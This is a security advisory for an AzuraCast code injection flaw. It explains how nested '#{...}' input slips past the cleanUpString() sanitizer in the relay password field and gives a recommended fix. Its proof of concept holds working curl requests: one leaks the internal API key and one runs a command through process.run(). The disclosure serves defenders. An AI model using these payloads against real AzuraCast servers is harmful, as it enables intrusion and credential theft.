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Total vulnerabilities in the database

AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field — azuracast / azuracast

Improper Control of Generation of Code ('Code Injection')

Summary

The cleanUpString() method in ConfigWriter.php uses an ungreedy regex to strip Liquidsoap string interpolation patterns (#{...}) from user input. This regex can be bypassed via nested interpolation syntax (#{#{EXPR}}), allowing injection of arbitrary Liquidsoap code. Commit ff49ef4 migrated most user-controlled fields to the safe toRawString() method but left the remote relay password field using the vulnerable cleanUpString(). A user with the RemoteRelays station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.

Details

The Vulnerable Sanitizer

cleanUpString() at backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367:

public static function cleanUpString(?string $string): string
{
    $string = str_replace([&#039;&quot;&#039;, &quot;\n&quot;, &quot;\r&quot;], [&#039;\&#039;&#039;, &#039;&#039;, &#039;&#039;], $string ?? &#039;&#039;);

    // Remove strings that are interpolated
    $string = preg_replace(
        &#039;/#{(.*)}/U&#039;,   // Ungreedy: matches minimum chars to first }
        &#039;$1&#039;,
        $string
    );

    $string = preg_replace(
        &#039;/\$\((.*)\)/U&#039;,
        &#039;$1&#039;,
        $string ?? &#039;&#039;
    );

    return $string ?? &#039;&#039;;
}

The /U (ungreedy) flag causes .* to match the minimum characters until the first }. With nested input #{#{EXPR}}:

Regex finds #{ at position 0
Ungreedy .* matches #{EXPR (stops at the first })
Full match consumed: #{#{EXPR} — replacement with capture group $1 yields: #{EXPR
The trailing } is appended by the regex engine (it was outside the match)
Final result: #{EXPR} — a valid Liquidsoap string interpolation expression

The Incomplete Patch

Commit ff49ef4 ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to toRawString(). However, the password field was left using cleanUpString():

ConfigWriter.php:1208-1215:

$password = self::cleanUpString($source-&gt;password);  // Still vulnerable

$adapterType = $source-&gt;adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
    $password .= &#039;:#&#039; . $id;
}

$outputParams[] = &#039;password = &quot;&#039; . $password . &#039;&quot;&#039;;  // Double-quoted = interpolated

The password is embedded in a Liquidsoap double-quoted string, which evaluates #{...} interpolation expressions.

Why toRawString() Is Safe

toRawString() uses Liquidsoap raw string delimiters ({str_xxxxx|...|str_xxxxx}) which do not perform interpolation, making them immune to this attack class.

The Input Path

Attacker sends PUT /api/station/{station_id}/remote/{id} with source_password containing the nested payload
Entity setter truncates to 100 chars via mb_substr (payloads fit within this limit)
No validation on password content
On station config regeneration, ConfigWriter::getOutputString() calls cleanUpString() on the password
Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string
Liquidsoap evaluates the interpolation when loading the config

PoC

Step 1: API Key Disclosure (38 chars)

# Set malicious password on an existing remote relay
curl -X PUT &quot;http://azuracast.local/api/station/1/remote/1&quot; \
  -H &quot;X-API-Key: $API_KEY&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{&quot;source_password&quot;: &quot;#{#{settings.azuracast.api_key()}}&quot;}&#039;

After cleanUpString() processing, the password becomes #{settings.azuracast.api_key()}.

When Liquidsoap loads the config, the generated line:

password = &quot;#{settings.azuracast.api_key()}&quot;

evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.

Step 2: Remote Code Execution (54 chars)

# RCE payload using string.char() to bypass quote filtering
curl -X PUT &quot;http://azuracast.local/api/station/1/remote/1&quot; \
  -H &quot;X-API-Key: $API_KEY&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{&quot;source_password&quot;: &quot;#{#{process.run(string.char(105)^string.char(100))}}&quot;}&#039;

After processing: #{process.run(string.char(105)^string.char(100))} → executes id command.

string.char() and the ^ concatenation operator are used to build the command string without double quotes (which cleanUpString replaces with single quotes, and Liquidsoap doesn't support single-quoted strings).

Step 3: Trigger config regeneration

Restart the station or modify any station setting to force Liquidsoap config regeneration. The payload executes when Liquidsoap loads the new config.

The same bypass works with $($(EXPR)) via the second regex /\$$(.*)$/U.

Impact

Arbitrary code execution within the Liquidsoap process container via process.run()
Internal API key disclosure via settings.azuracast.api_key(), granting the attacker full internal API access to the station
File read/write within the Liquidsoap container via Liquidsoap's file operations
Station disruption — malicious config can crash the Liquidsoap process
Low privilege bar — requires only the RemoteRelays station permission, not global admin

Recommended Fix

Replace cleanUpString() with toRawString() for the password field, consistent with the fix applied to all other fields in commit ff49ef4. The Shoutcast suffix append needs adjustment to work with raw strings:

// Before (vulnerable):
$password = self::cleanUpString($source-&gt;password);
$adapterType = $source-&gt;adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
    $password .= &#039;:#&#039; . $id;
}
$outputParams[] = &#039;password = &quot;&#039; . $password . &#039;&quot;&#039;;

// After (safe):
$password = $source-&gt;password ?? &#039;&#039;;
$adapterType = $source-&gt;adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
    $password .= &#039;:#&#039; . $id;
}
$outputParams[] = &#039;password = &#039; . self::toRawString($password);

This uses the raw string delimiter which prevents all interpolation, matching the approach already used for host, username, mount, and all other user-controlled fields.

Additionally, consider removing cleanUpString() entirely or marking it as deprecated, since toRawString() is the correct approach for all Liquidsoap string values. Any remaining callers should be migrated.

Published: May 4, 2026
Updated: May 6, 2026
GHSA: GHSA-q4ph-8x8g-95f8
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-94

Affected Software
References

Software	Affected versions
azuracast / azuracast	`< 0.23.6`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.